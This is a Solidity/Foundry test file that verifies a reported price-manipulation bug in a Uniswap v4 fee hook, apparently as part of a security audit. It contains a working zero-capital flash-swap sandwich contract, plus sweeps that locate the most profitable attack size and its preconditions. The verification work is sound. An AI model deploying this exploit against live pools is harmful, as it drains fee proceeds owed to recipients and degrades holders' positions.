// SPDX-License-Identifier: MIT pragma solidity ^0.8.38; import {DicesHookTradingTestBase} from '../DicesHookTrading.t.sol'; import {FixedRateCalculator} from '../utils/Fixtures.sol'; import {CurrencySettler} from '@uniswap/v4-core/test/utils/CurrencySettler.sol'; import {Vm} from 'forge-std/Vm.sol'; import {console2} from 'forge-std/console2.sol'; import {IPoolManager} from 'v4-core/interfaces/IPoolManager.sol'; import {IUnlockCallback} from 'v4-core/interfaces/callback/IUnlockCallback.sol'; import {FullMath} from 'v4-core/libraries/FullMath.sol'; import {StateLibrary} from 'v4-core/libraries/StateLibrary.sol'; import {TickMath} from 'v4-core/libraries/TickMath.sol'; import {TransientStateLibrary} from 'v4-core/libraries/TransientStateLibrary.sol'; import {Currency} from 'v4-core/types/Currency.sol'; import {PoolKey} from 'v4-core/types/PoolKey.sol'; import {SwapParams} from 'v4-core/types/PoolOperation.sol'; /** * @notice Independent verification of "Bug #5": queued fee inventory is converted at a spot price that can be pushed * down first. Measurement only; nothing here changes production code. * * @dev This contract sells coins it does not hold and buys the same number back inside one `unlock`, so the coin * debt nets to zero under v4 flash accounting. Whatever USDC is left over is paid out. It holds no coins, has no * approvals, and (unless a test funds it to measure a losing case) holds no USDC. */ contract ZeroInventorySandwich is IUnlockCallback { using CurrencySettler for Currency; using TransientStateLibrary for IPoolManager; IPoolManager internal immutable manager; constructor(IPoolManager manager_) { manager = manager_; } function run(PoolKey memory key, bool coin0, uint sellCoins, address to) external returns (int usdOut) { return abi.decode(manager.unlock(abi.encode(key, coin0, sellCoins, to)), (int)); } function unlockCallback(bytes calldata data) external returns (bytes memory) { require(msg.sender == address(manager), 'not manager'); (PoolKey memory key, bool coin0, uint sellCoins, address to) = abi.decode(data, (PoolKey, bool, uint, address)); Currency coinC = coin0 ? key.currency0 : key.currency1; Currency usdC = coin0 ? key.currency1 : key.currency0; // 1. Exact-input sell of coins that are only owed, not held. The hook charges its fee in USDC. manager.swap(key, SwapParams(coin0, -int(sellCoins), coin0 ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1), ''); // 2. Exact-output buy of exactly the coins owed. This is the swap that meets the queued inventory. int owed = manager.currencyDelta(address(this), coinC); require(owed < 0, 'nothing sold'); manager.swap(key, SwapParams(!coin0, -owed, !coin0 ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1), ''); require(manager.currencyDelta(address(this), coinC) == 0, 'coin leg is not flat'); int usdOut = manager.currencyDelta(address(this), usdC); if (usdOut > 0) { manager.take(usdC, to, uint(usdOut)); } else if (usdOut < 0) { // Only reachable when a test has funded this contract in order to measure a loss. usdC.settle(manager, address(this), uint(-usdOut), false); } return abi.encode(usdOut); } } contract Verify05Test is DicesHookTradingTestBase { using StateLibrary for IPoolManager; address internal constant WHALE = address(0xB001); address internal constant BUYER = address(0xB002); address internal constant SINK = address(0xB003); address internal constant HOLDER = address(0xB004); uint internal constant FEE = 1_250; uint internal constant DENOMINATOR = 100_000; /** * @dev Sizing a position rounds its liquidity down, which leaves a fraction of a coin unsold. */ uint internal constant DUST = 1e15; ZeroInventorySandwich internal bot; /** * @dev What one swap (or one flash round trip) did, measured from balances and from emitted events. */ struct Rec { int coin; // actor's coin balance change int usd; // actor's USDC balance change uint queued; // coins the hook queued in the swap pool as a fee uint spent; // queued coins sold by the temporary position uint conv; // USDC credited to recipients by the swap pool: conversion proceeds only uint feeUsd; // USDC credited to recipients by the hook: direct USDC swap fees only } struct Trip { Rec s; Rec b; uint capMid; uint capEnd; } struct World { uint credits; uint queue; uint cap; uint whaleCoins; uint whaleLiq; uint buyerCoins; } // ------------------------------------------------------------------------------------------------ // Harness // ------------------------------------------------------------------------------------------------ function _setup(bool coin0) internal { _prepare(coin0); // A live PoolManager holds every pool's USDC; the test one holds only this pool's. See the task brief. usd.mint(address(manager), 10_000_000e6); bot = new ZeroInventorySandwich(manager); _fund(WHALE); _fund(BUYER); _fund(HOLDER); } function _fund(address who) internal { usd.mint(who, 1_000_000e6); vm.startPrank(who); usd.approve(address(router), type(uint).max); coin.approve(address(router), type(uint).max); vm.stopPrank(); } function _coin0() internal view returns (bool) { return Currency.unwrap(key.currency0) == address(coin); } function _queue() internal view returns (uint) { return isp.internalSwapPool(address(coin)); } function _parse(Rec memory r, Vm.Log[] memory logs) internal view { for (uint i; i < logs.length; i++) { if (logs[i].topics.length == 0) { continue; } if (logs[i].emitter == address(isp) && logs[i].topics[0] == keccak256('Deposit(address,uint256)')) { r.queued += abi.decode(logs[i].data, (uint)); } else if (logs[i].emitter == address(escrow) && logs[i].topics[0] == keccak256('Deposited(address,address,address,uint256)')) { address depositor = address(uint160(uint(logs[i].topics[3]))); uint amount = abi.decode(logs[i].data, (uint)); if (depositor == address(isp)) { r.conv += amount; } else { r.feeUsd += amount; } } } } function _swapAs(address who, bool buy, bool exactInput, uint amount) internal returns (Rec memory r) { uint q0 = _queue(); int c0 = int(coin.balanceOf(who)); int u0 = int(usd.balanceOf(who)); uint maxIn = buy ? usd.balanceOf(who) : coin.balanceOf(who); SwapParams memory p = _paramsFor(buy, exactInput, amount); vm.recordLogs(); vm.prank(who); if (exactInput) { router.swap(key, p); } else { router.swapWithMaxInput(key, p, maxIn); } _parse(r, vm.getRecordedLogs()); r.coin = int(coin.balanceOf(who)) - c0; r.usd = int(usd.balanceOf(who)) - u0; r.spent = q0 + r.queued - _queue(); } /** * @dev The manoeuvre exactly as the claim states it: exact-input sell, then exact-input buy of the USDC received. */ function _roundTrip(address who, uint coins) internal returns (Trip memory t) { t.s = _swapAs(who, false, true, coins); t.capMid = _cap(); t.b = _swapAs(who, true, true, uint(t.s.usd)); t.capEnd = _cap(); } function _flash(uint coins, bool fundLosses) internal returns (int usdOut, Rec memory r) { uint q0 = _queue(); if (fundLosses) { usd.mint(address(bot), 1_000_000e6); } vm.recordLogs(); usdOut = bot.run(key, _coin0(), coins, SINK); _parse(r, vm.getRecordedLogs()); r.spent = q0 + r.queued - _queue(); } /** * @dev Coins the launch positions have sold and not taken back; selling this many returns the pool to launch. */ function _outstanding() internal view returns (uint) { return 900_000_000e18 - coin.balanceOf(address(manager)); } function _bestFlash() internal returns (uint bestCoins, int bestUsd) { uint out = _outstanding(); uint snap = vm.snapshotState(); bestUsd = type(int).min; for (uint pct = 2; pct <= 98; pct += 3) { (int p,) = _flash(out * pct / 100, true); vm.revertToState(snap); if (p > bestUsd) { bestUsd = p; bestCoins = out * pct / 100; } } } function _liquidation(address who) internal returns (uint out) { uint bal = coin.balanceOf(who); if (bal == 0) { return 0; } uint snap = vm.snapshotState(); out = uint(_swapAs(who, false, true, bal).usd); vm.revertToState(snap); } function _world() internal returns (World memory w) { w.credits = _totalCredits(); w.queue = _queue(); w.cap = _cap(); w.whaleCoins = coin.balanceOf(WHALE); w.buyerCoins = coin.balanceOf(BUYER); w.whaleLiq = _liquidation(WHALE); } // ------------------------------------------------------------------------------------------------ // Price reads // ------------------------------------------------------------------------------------------------ /** * @dev Market cap of the 1e27 supply at the pool's spot price, in six-decimal USDC. */ function _cap() internal view returns (uint) { (uint160 p,,,) = manager.getSlot0(key.toId()); if (_coin0()) { return FullMath.mulDiv(uint(p) * uint(p), 1e27, 1 << 192); } return FullMath.mulDiv(uint(1e27) << 96, 1 << 96, p) / p; } /** * @dev USDC value of `coins` at the pool's spot price. */ function _spot(uint coins) internal view returns (uint) { return FullMath.mulDiv(coins, _cap(), 1e27); } /** * @dev The pool's virtual coin reserve at spot, `L / sqrtP`: the depth that the inventory is compared with. */ function _depth() internal view returns (uint) { (uint160 p,,,) = manager.getSlot0(key.toId()); uint128 l = manager.getLiquidity(key.toId()); return _coin0() ? FullMath.mulDiv(l, 1 << 96, p) : FullMath.mulDiv(l, p, 1 << 96); } /** * @dev queue / (fee rate x depth), in thousandths. The analysis predicts a profit only above 1000. */ function _ratio() internal view returns (uint) { uint depth = _depth(); return depth == 0 ? 0 : FullMath.mulDiv(_queue() * 1000, DENOMINATOR, FEE * depth); } // ------------------------------------------------------------------------------------------------ // Formatting // ------------------------------------------------------------------------------------------------ function _u(uint v) internal pure returns (string memory) { uint cents = (v % 1e6) / 1e4; return string.concat(vm.toString(v / 1e6), '.', cents < 10 ? '0' : '', vm.toString(cents)); } function _ui(int v) internal pure returns (string memory) { return v < 0 ? string.concat('-', _u(uint(-v))) : _u(uint(v)); } function _c(uint v) internal pure returns (string memory) { return vm.toString(v / 1e18); } function _ci(int v) internal pure returns (string memory) { return v < 0 ? string.concat('-', _c(uint(-v))) : _c(uint(v)); } function _logState(string memory label) internal view { console2.log(label); console2.log(string.concat(' market cap at spot $', _u(_cap()), ' | queue ', _c(_queue()), ' coins = $', _u(_spot(_queue())), ' at spot')); console2.log(string.concat(' depth (L/sqrtP) ', _c(_depth()), ' coins | queue/(fee*depth) x1000 = ', vm.toString(_ratio()))); } function _logWorld(string memory label, World memory w) internal pure { console2.log(string.concat(label, ' credits $', _u(w.credits), ' | queue ', _c(w.queue), ' | cap $', _u(w.cap))); console2.log(string.concat(' whale coins ', _c(w.whaleCoins), ' | whale sell-all $', _u(w.whaleLiq), ' | buyer coins ', _c(w.buyerCoins))); } // ------------------------------------------------------------------------------------------------ // 1. The claim as stated: a holder sells, then buys back with exactly the USDC received // ------------------------------------------------------------------------------------------------ function test_1_claimAsStated_holderSellsThenBuysBack() public { _setup(true); _swapAs(WHALE, true, true, 30_000e6); uint q = _queue(); uint held = coin.balanceOf(WHALE); _logState('S0: one 30,000 USDC exact-input buy by WHALE'); console2.log(string.concat(' WHALE holds ', _c(held), ' coins')); uint s0 = vm.snapshotState(); // (a) Ordinary conversion: a third party buys at the unmanipulated price. Rec memory a = _swapAs(BUYER, true, true, 5_000e6); console2.log(string.concat('(a) ordinary 5,000 USDC buy: queue sold ', _c(a.spent), ' of ', _c(q), ' | credited $', _u(a.conv), ' | direct USDC fee $', _u(a.feeUsd))); assertApproxEqAbs(a.spent, q, DUST, 'the ordinary buy converts the whole queue'); assertEq(a.feeUsd, 0, 'an exact-input buy pays its fee in coins, so every credit is conversion proceeds'); vm.revertToState(s0); // (b) Sweep the size of the sell. console2.log('(b) sweep: % of holding sold | cap after sell | coins gained at constant USDC | USDC credited for the queue'); uint bestCoins; int bestGain = type(int).min; for (uint pct = 5; pct <= 100; pct += 5) { Trip memory t = _roundTrip(WHALE, held * pct / 100); int gain = t.s.coin + t.b.coin; console2.log(string.concat(' ', vm.toString(pct), '% | $', _u(t.capMid), ' | ', _ci(gain), ' | $', _u(t.b.conv))); assertEq(t.s.usd + t.b.usd, 0, 'USDC is unchanged'); vm.revertToState(s0); if (gain > bestGain) { bestGain = gain; bestCoins = held * pct / 100; } } // Detail at the best size. uint liq0 = _liquidation(WHALE); uint mtm0 = _spot(held); uint cap0 = _cap(); Trip memory best = _roundTrip(WHALE, bestCoins); int g = best.s.coin + best.b.coin; console2.log(string.concat('BEST: sell ', _c(bestCoins), ' coins (cap $', _u(cap0), ' -> $', _u(best.capMid), '), buy back with $', _u(uint(best.s.usd)))); console2.log(string.concat(' measure 1, coins at constant USDC: ', _ci(g), ' coins = $', _u(FullMath.mulDiv(uint(g), cap0, 1e27)), ' at the S0 price, $', _u(_spot(uint(g))), ' at the final price')); console2.log(string.concat(' queue sold ', _c(best.b.spent), ' | credited $', _u(best.b.conv), ' vs $', _u(a.conv), ' ordinary | shortfall $', _u(a.conv - best.b.conv))); console2.log(string.concat(' manoeuvre own fees: sell leg $', _u(best.s.feeUsd), ' USDC | buy leg ', _c(best.b.queued), ' coins queued = $', _u(_spot(best.b.queued)), ' at final spot')); console2.log(string.concat(' cap after manoeuvre $', _u(best.capEnd), ' (was $', _u(cap0), ')')); uint liq1 = _liquidation(WHALE); console2.log(string.concat(' measure 2, sell everything now: $', _u(liq1), ' after vs $', _u(liq0), ' without = ', _ui(int(liq1) - int(liq0)))); uint mtm1 = _spot(coin.balanceOf(WHALE)); console2.log(string.concat(' measure 3, holding marked at spot: $', _u(mtm1), ' after vs $', _u(mtm0), ' before = ', _ui(int(mtm1) - int(mtm0)))); assertGt(g, 0, 'same USDC, more coins'); assertApproxEqAbs(best.b.spent, q, DUST, 'the buy-back converts the whole queue'); assertLt(best.b.conv, a.conv, 'recipients are credited less for the same inventory'); assertLt(liq1, liq0, 'but selling everything afterwards realises less than selling without the manoeuvre'); // Measure 4: an ordinary buyer follows in both worlds. _swapAs(BUYER, true, true, 5_000e6); World memory wb = _world(); vm.revertToState(s0); _swapAs(BUYER, true, true, 5_000e6); World memory wa = _world(); console2.log('measure 4, an ordinary 5,000 USDC buy follows in both worlds:'); _logWorld(' (a) no manoeuvre:', wa); _logWorld(' (b) manoeuvre :', wb); console2.log(string.concat(' recipients: USDC ', _ui(int(wb.credits) - int(wa.credits)), ' | whale sell-all ', _ui(int(wb.whaleLiq) - int(wa.whaleLiq)), ' | buyer coins ', _ci(int(wb.buyerCoins) - int(wa.buyerCoins)))); // The same low conversion follows an honest sell: the inventory always carries price risk. vm.revertToState(s0); _swapAs(WHALE, false, true, bestCoins); Rec memory h = _swapAs(BUYER, true, true, 5_000e6); console2.log(string.concat('honest holder sells the same coins, ordinary buyer follows: queue sold ', _c(h.spent), ' | credited $', _u(h.conv))); } // ------------------------------------------------------------------------------------------------ // 2. Stronger than the claim: no coin position and no capital are needed // ------------------------------------------------------------------------------------------------ function test_2_zeroInventoryVariant_paysOutUsdc() public { _setup(true); _swapAs(WHALE, true, true, 30_000e6); uint q = _queue(); uint cap0 = _cap(); uint qValue = _spot(q); _logState('S0: one 30,000 USDC exact-input buy by WHALE'); uint s0 = vm.snapshotState(); Rec memory a = _swapAs(BUYER, true, true, 5_000e6); World memory wa = _world(); vm.revertToState(s0); World memory w0 = _world(); console2.log('sweep: % of outstanding coins sold then bought back | USDC left over | USDC credited for the queue'); uint out = _outstanding(); for (uint pct = 10; pct <= 110; pct += 10) { (int p, Rec memory r) = _flash(out * pct / 100, true); console2.log(string.concat(' ', vm.toString(pct), '% | ', _ui(p), ' | $', _u(r.conv), ' (queue sold ', _c(r.spent), ')')); vm.revertToState(s0); } (uint bestCoins, int bestUsd) = _bestFlash(); assertEq(coin.balanceOf(address(bot)), 0); assertEq(usd.balanceOf(address(bot)), 0, 'no capital'); assertEq(usd.balanceOf(SINK), 0); (int profit, Rec memory f) = _flash(bestCoins, false); assertEq(profit, bestUsd); assertEq(int(usd.balanceOf(SINK)), profit, 'the leftover USDC is paid out'); assertEq(coin.balanceOf(address(bot)), 0); assertEq(coin.balanceOf(SINK), 0); assertGt(profit, 0); assertApproxEqAbs(f.spent, q, DUST, 'the whole queue was converted'); assertEq(f.queued, 0, 'both legs pay their fee in USDC, so nothing new is queued'); assertLe(_queue(), DUST, 'only liquidity-rounding dust is left in the queue'); World memory wf = _world(); console2.log(string.concat('BEST: flash-sell ', _c(bestCoins), ' coins, buy them back: $', _u(uint(profit)), ' paid out with no inventory and no capital')); console2.log(string.concat(' = ', vm.toString(uint(profit) * 10_000 / qValue), ' bps of the queue at spot ($', _u(qValue), ')')); console2.log(string.concat(' queue credited $', _u(f.conv), ' vs $', _u(a.conv), ' ordinary (shortfall $', _u(a.conv - f.conv), ') | manoeuvre own USDC fees $', _u(f.feeUsd))); console2.log(string.concat(' recipients in total $', _u(f.conv + f.feeUsd), ' vs $', _u(a.conv), ' ordinary = ', _ui(int(f.conv + f.feeUsd) - int(a.conv)))); console2.log(string.concat(' cap $', _u(cap0), ' -> $', _u(wf.cap), ' | whale sell-all $', _u(w0.whaleLiq), ' -> $', _u(wf.whaleLiq), ' = ', _ui(int(wf.whaleLiq) - int(w0.whaleLiq)))); assertLt(f.conv, a.conv); assertLt(f.conv + f.feeUsd, a.conv, 'recipients lose even after the fees the manoeuvre itself pays'); // An ordinary buyer follows in both worlds. _swapAs(BUYER, true, true, 5_000e6); World memory wb = _world(); console2.log('an ordinary 5,000 USDC buy follows in both worlds:'); _logWorld(' (a) no manoeuvre:', wa); _logWorld(' (b) manoeuvre :', wb); console2.log(string.concat(' recipients: USDC ', _ui(int(wb.credits) - int(wa.credits)), ' | whale sell-all ', _ui(int(wb.whaleLiq) - int(wa.whaleLiq)), ' | buyer coins ', _ci(int(wb.buyerCoins) - int(wa.buyerCoins)))); console2.log(string.concat(' queue left: ', _c(wa.queue), ' (a) vs ', _c(wb.queue), ' (b) coins = $', _u(_spot(wb.queue)), ' at spot')); } // ------------------------------------------------------------------------------------------------ // 3. Preconditions (negative PoC) // ------------------------------------------------------------------------------------------------ function test_3a_precondition_sizeOfTheBuyThatFilledTheQueue() public { _setup(true); uint base = vm.snapshotState(); uint[13] memory sizes = [uint(1_000e6), 3_000e6, 6_000e6, 9_000e6, 11_000e6, 12_500e6, 15_000e6, 20_000e6, 25_000e6, 30_000e6, 34_000e6, 50_000e6, 75_000e6]; console2.log('one exact-input buy from launch | cap after | queue at spot | queue/(fee*depth) x1000 | best zero-inventory result | bps of queue'); for (uint i; i < sizes.length; i++) { _swapAs(WHALE, true, true, sizes[i]); uint qValue = _spot(_queue()); uint ratio = _ratio(); uint cap = _cap(); (, int best) = _bestFlash(); console2.log(string.concat(' $', _u(sizes[i]), ' | $', _u(cap), ' | $', _u(qValue), ' | ', vm.toString(ratio), ' | ', _ui(best), ' | ', best > 0 ? vm.toString(uint(best) * 10_000 / qValue) : '-')); if (ratio < 950) { assertLe(best, 0, 'below the threshold every size loses'); } if (ratio > 1100) { assertGt(best, 0, 'above the threshold some size pays'); } vm.revertToState(base); } } function test_3b_precondition_ordinaryFlowLeavesNothingToTake() public { _setup(true); _swapAs(WHALE, true, true, 30_000e6); _swapAs(BUYER, true, true, 5_000e6); _logState('after the 30,000 buy and one ordinary 5,000 buy that converted its queue'); (, int best) = _bestFlash(); console2.log(string.concat(' best zero-inventory result ', _ui(best))); assertLe(best, 0); // The claim's own version loses as well. uint held = coin.balanceOf(WHALE); uint snap = vm.snapshotState(); for (uint pct = 10; pct <= 100; pct += 30) { Trip memory t = _roundTrip(WHALE, held * pct / 100); console2.log(string.concat(' holder sells ', vm.toString(pct), '% and buys back: coins ', _ci(t.s.coin + t.b.coin))); assertLt(t.s.coin + t.b.coin, 0); vm.revertToState(snap); } for (uint i; i < 5; i++) { _swapAs(BUYER, true, true, 500e6); (, best) = _bestFlash(); console2.log(string.concat(' after ordinary 500 USDC buy #', vm.toString(i + 1), ': ratio x1000 = ', vm.toString(_ratio()), ' | best zero-inventory result ', _ui(best))); assertLe(best, 0); } } function test_3c_precondition_noFeesNoGain_andEmptyRangeGuard() public { _setup(true); _swapAs(WHALE, true, true, 30_000e6); uint q = _queue(); uint s0 = vm.snapshotState(); // Selling more than the pool ever sold leaves the launch range: the guard at InternalSwapPool.sol:159 keeps the queue. (int p, Rec memory r) = _flash(_outstanding() * 110 / 100, true); console2.log(string.concat('flash-sell 110% of outstanding: result ', _ui(p), ' | queue sold ', _c(r.spent))); assertEq(r.spent, 0, 'no position is placed on a price that no liquidity backs'); assertLt(p, 0); vm.revertToState(s0); // A small ordinary buy only converts part of the queue, at the unmanipulated price. Rec memory small = _swapAs(BUYER, true, true, 200e6); console2.log(string.concat('ordinary 200 USDC buy: queue sold ', _c(small.spent), ' of ', _c(q), ' | credited $', _u(small.conv))); assertLt(small.spent, q); } // ------------------------------------------------------------------------------------------------ // 4. Same result in the other currency ordering // ------------------------------------------------------------------------------------------------ function test_4_otherCurrencyOrdering() public { _setup(false); _swapAs(WHALE, true, true, 30_000e6); uint q = _queue(); _logState('coin is currency1: one 30,000 USDC exact-input buy'); uint s0 = vm.snapshotState(); Rec memory a = _swapAs(BUYER, true, true, 5_000e6); vm.revertToState(s0); (uint bestCoins, int bestUsd) = _bestFlash(); (int profit, Rec memory f) = _flash(bestCoins, false); console2.log(string.concat(' ordinary conversion credited $', _u(a.conv), ' | zero-inventory best $', _ui(profit), ' | queue credited $', _u(f.conv), ' | own fees $', _u(f.feeUsd))); assertEq(profit, bestUsd); assertGt(profit, 0); assertApproxEqAbs(f.spent, q, DUST); assertLt(f.conv + f.feeUsd, a.conv); } // ------------------------------------------------------------------------------------------------ // 5. Checks on the measurement itself // ------------------------------------------------------------------------------------------------ /** * @dev A holder who is not the large buyer, using its whole position, in two separate transactions. */ function test_5a_thirdPartyHolderUsingItsWholePosition() public { _setup(true); _swapAs(WHALE, true, true, 30_000e6); vm.prank(BANKROLL); coin.transfer(HOLDER, 100_000_000e18); uint liq0 = _liquidation(HOLDER); Trip memory t = _roundTrip(HOLDER, 100_000_000e18); uint liq1 = _liquidation(HOLDER); console2.log(string.concat('third-party holder sells 100,000,000 coins, buys back with $', _u(uint(t.s.usd)), ': coins ', _ci(t.s.coin + t.b.coin), ' | queue credited $', _u(t.b.conv))); console2.log(string.concat(' sell everything now: $', _u(liq1), ' after vs $', _u(liq0), ' without = ', _ui(int(liq1) - int(liq0)))); assertEq(t.s.usd + t.b.usd, 0); assertGt(t.s.coin + t.b.coin, 0); assertLt(liq1, liq0); } /** * @dev The result does not depend on the extra USDC that the other tests mint to the manager. */ function test_5b_zeroInventoryVariantWithoutExtraManagerUsdc_andSolvency() public { _prepare(true); bot = new ZeroInventorySandwich(manager); _fund(WHALE); _swapAs(WHALE, true, true, 30_000e6); uint managerUsd = usd.balanceOf(address(manager)); uint credits = _totalCredits(); assertEq(managerUsd, 30_000e6, 'the manager holds this pool only'); uint snap = vm.snapshotState(); (uint bestCoins, int bestUsd) = _bestFlash(); vm.revertToState(snap); (int profit,) = _flash(bestCoins, false); console2.log(string.concat('manager holds only this pool: flash-sell ', _c(bestCoins), ' coins -> $', _ui(profit), ' paid out')); assertEq(profit, bestUsd); assertGt(profit, 0); assertEq(usd.balanceOf(SINK), uint(profit)); assertEq(managerUsd - usd.balanceOf(address(manager)), uint(profit) + (_totalCredits() - credits), 'USDC leaves the pool only as the payout and as recipient credits'); assertEq(usd.balanceOf(address(escrow)), _totalCredits(), 'the escrow stays fully funded'); assertEq(coin.balanceOf(address(isp)), _queue(), 'the swap pool holds exactly its queue'); console2.log(string.concat(' pool USDC $', _u(managerUsd), ' -> $', _u(usd.balanceOf(address(manager))), ' | credits +$', _u(_totalCredits() - credits))); } /** * @dev Where the break-even lies, with a fine sweep of sizes. */ function test_5c_breakEvenBuySize() public { _setup(true); uint base = vm.snapshotState(); console2.log('one exact-input buy from launch | price multiple x100 | queue/(fee*depth) x1000 | best zero-inventory result (0.5% steps)'); // Five sizes of sixty runs each; many more than that exhausts the test's memory on recorded logs. for (uint size = 12_500e6; size <= 14_500e6; size += 500e6) { _swapAs(WHALE, true, true, size); uint out = _outstanding(); uint ratio = _ratio(); uint multiple = _cap() * 100 / 12_500e6; uint snap = vm.snapshotState(); int best = type(int).min; for (uint permille = 5; permille <= 300; permille += 5) { (int p,) = _flash(out * permille / 1000, true); vm.revertToState(snap); if (p > best) { best = p; } } console2.log(string.concat(' $', _u(size), ' | ', vm.toString(multiple), ' | ', vm.toString(ratio), ' | ', _ui(best))); if (size <= 13_000e6) { assertLt(best, 0, 'no size pays below the break-even'); } if (size >= 13_500e6) { assertGt(best, 0, 'some size pays above the break-even'); } vm.revertToState(base); } } /** * @dev A large buy that is exact-output pays its fee in USDC, so it leaves no queue to take. */ function test_5d_exactOutputBuyQueuesNothing() public { _setup(true); Rec memory w = _swapAs(WHALE, true, false, 660_000_000e18); console2.log(string.concat('exact-output buy of 660,000,000 coins: paid $', _u(uint(-w.usd)), ' | direct USDC fee $', _u(w.feeUsd), ' | queue ', _c(_queue()))); assertEq(_queue(), 0); (, int best) = _bestFlash(); console2.log(string.concat(' best zero-inventory result ', _ui(best))); assertLt(best, 0); } /** * @dev The queue and both legs' fees scale with the rate together, so a 1.00% rate does not close it. */ function test_5e_postLiveRate() public { _setup(true); hook.setFeeCalculator(address(new FixedRateCalculator(1_000))); _swapAs(WHALE, true, true, 30_000e6); uint qValue = _spot(_queue()); (uint bestCoins, int bestUsd) = _bestFlash(); (int profit,) = _flash(bestCoins, false); console2.log(string.concat('1.00% rate: queue $', _u(qValue), ' at spot | zero-inventory best $', _ui(profit), ' = ', vm.toString(uint(profit) * 10_000 / qValue), ' bps')); assertEq(profit, bestUsd); assertGt(profit, 0); } }